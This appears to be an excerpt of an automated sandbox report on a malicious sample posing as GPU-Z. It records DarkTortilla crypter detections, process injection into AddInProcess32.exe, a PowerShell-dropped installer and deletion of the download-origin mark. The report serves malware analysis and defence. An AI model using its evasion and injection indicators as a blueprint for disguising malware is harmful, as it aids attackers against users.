Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Section loaded: apphelp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: msimg32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: secur32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: userenv.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: winhttp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: winmm.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: version.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: sspicli.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wldp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: apphelp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: atlthunk.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wintypes.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wintypes.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wintypes.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: textshaping.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: taskschd.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: xmllite.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: sxs.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: msimg32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: secur32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: userenv.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: winhttp.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: winmm.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: version.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: sspicli.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\GPU-Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.21.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\GPU-Z.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: GPU-Z.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: GPU-Z.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: GPU-Z.exe

Static file information: File size 5304288 > 1048576

Source: GPU-Z.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x4ec600

Source: GPU-Z.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: UpdaterSetup.exe.pdb source: ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe.17.dr
Source:	Binary string: UpdaterSetup.exe.pdbP source: ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe.17.dr
Source:	Binary string: updater.exe.pdb source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr
Source:	Binary string: video_recorder.pdb source: GPU-Z.exe, 00000000.00000002.2848979910.0000000004329000.00000004.00000800.00020000.00000000.sdmp, GPU-Z.exe, 00000000.00000002.2836738327.0000000003321000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000006.00000002.3132163077.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: updater.exe.pdbP source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr

Data Obfuscation

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 3.2.AddInProcess32.exe.3b88e20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3bc8e40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GPU-Z.exe.5940000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3c48e60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3c48e60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3b88e20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3bc8e40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GPU-Z.exe.5940000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AddInProcess32.exe.3b68e00.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2855684296.0000000005940000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2911331834.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2931725879.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2836738327.0000000003321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GPU-Z.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4760, type: MEMORYSTR

.NET source code contains potential unpacker

Source: 0.2.GPU-Z.exe.5940000.4.raw.unpack, Class4_Reader.cs	.Net Code: Method4 contains xor as well as GetObject
Source: 3.2.AddInProcess32.exe.3bc8e40.4.raw.unpack, Class4_Reader.cs	.Net Code: Method4 contains xor as well as GetObject
Source: 3.2.AddInProcess32.exe.3b88e20.1.raw.unpack, Class4_Reader.cs	.Net Code: Method4 contains xor as well as GetObject
Source: 3.2.AddInProcess32.exe.3c48e60.3.raw.unpack, Class4_Reader.cs	.Net Code: Method4 contains xor as well as GetObject

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_004108D0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,

6_2_004108D0

Source: ChromeSetup.exe.17.dr	Static PE information: section name: CPADinfo
Source: ChromeSetup.exe.17.dr	Static PE information: section name: malloc_h
Source: updater.exe.18.dr	Static PE information: section name: CPADinfo
Source: updater.exe.18.dr	Static PE information: section name: malloc_h
Source: updater.exe.19.dr	Static PE information: section name: CPADinfo
Source: updater.exe.19.dr	Static PE information: section name: malloc_h

Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_067882D2 push esp; retf	0_2_067882D9
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE04E5 push edi; ret	0_2_07FE04E6
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_088DA1BD push esi; ret	0_2_088DA1C3
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A9EEC1 push esp; iretd	0_2_08A9EEFD
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A9AAC5 push esi; ret	0_2_08A9AAC6
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A9BBC0 pushad ; ret	0_2_08A9BBD3
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BAA4BB push cs; ret	0_2_08BAA4BC
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BA28D2 push cs; retf	0_2_08BA28D4
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BA090C push es; ret	0_2_08BA090F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07703708 pushfd ; retf	3_2_07703969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0770DBDF push FFFFFF8Bh; retf	3_2_0770DBEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0770A3BD push esi; ret	3_2_0770A3C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07702E6C push FFFFFF8Bh; iretd	3_2_07702E6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078DBF81 pushad ; ret	3_2_078DBF93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078DAE85 push esi; ret	3_2_078DAE86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799CF28 pushfd ; retf	3_2_0799CF41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799090C push es; ret	3_2_0799090F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07998529 push 00000033h; ret	3_2_0799852D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799752B push cs; ret	3_2_0799752C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_079928B7 push cs; retf	3_2_079928D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042A9BE push edi; ret	6_2_0042A9C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E18440 pushfd ; ret	11_2_04E18589
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E18AA2 push esp; retf	11_2_04E18AA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_079F41B6 push dword ptr [eax+eax*2-75h]; iretd	11_2_079F41BC
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010DE21B push ecx; ret	18_2_010DE22E
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0094750B push ecx; ret	19_2_0094751E
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0094750B push ecx; ret	20_2_0094751E

Source: GPU-Z.exe, k3R.cs	High entropy of concatenated method names: 'w0S', 'MoveNext', 'Ff2', 'SetStateMachine', 'Ew9', 'Gz3', 'Bf0', 'Gc6', 'Lk9', 'x1K'
Source: GPU-Z.exe, Cb9.cs	High entropy of concatenated method names: 'k7F', 'Ez4', 'e6P', 'Wy0', 'MoveNext', 'Pk3', 'SetStateMachine', 'Lk6', 'MoveNext', 'p9M'
Source: GPU-Z.exe, o7GTi.cs	High entropy of concatenated method names: 'Tw98E', 'd6GEb', 'Qc6b2', 'Ef14Z', 'q0ENk', 'e4L6M', 'e5N1R', 'Kb39Q', 'Fb73H', 'Xj6i8'
Source: GPU-Z.exe, Sn5.cs	High entropy of concatenated method names: 'j1TRw', 'c4HRb', 'a6T', 'z2R', 'o6T', 'n9C', 'm6Z', 'Rf1', 't2T', 'r6Q'
Source: GPU-Z.exe, Ta6.cs	High entropy of concatenated method names: 'Hn1', 'MoveNext', 'Am5', 'SetStateMachine', 'b9R', 'MoveNext', 'z8E', 'SetStateMachine', 'm4A', 'MoveNext'

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

Executable created and started: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Jump to dropped file
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	File created: C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\updater.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

File created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\GPU-Z.exe	File opened: C:\Users\user\Desktop\GPU-Z.exe\:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe\:Zone.Identifier read attributes \| delete			Jump to behavior

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
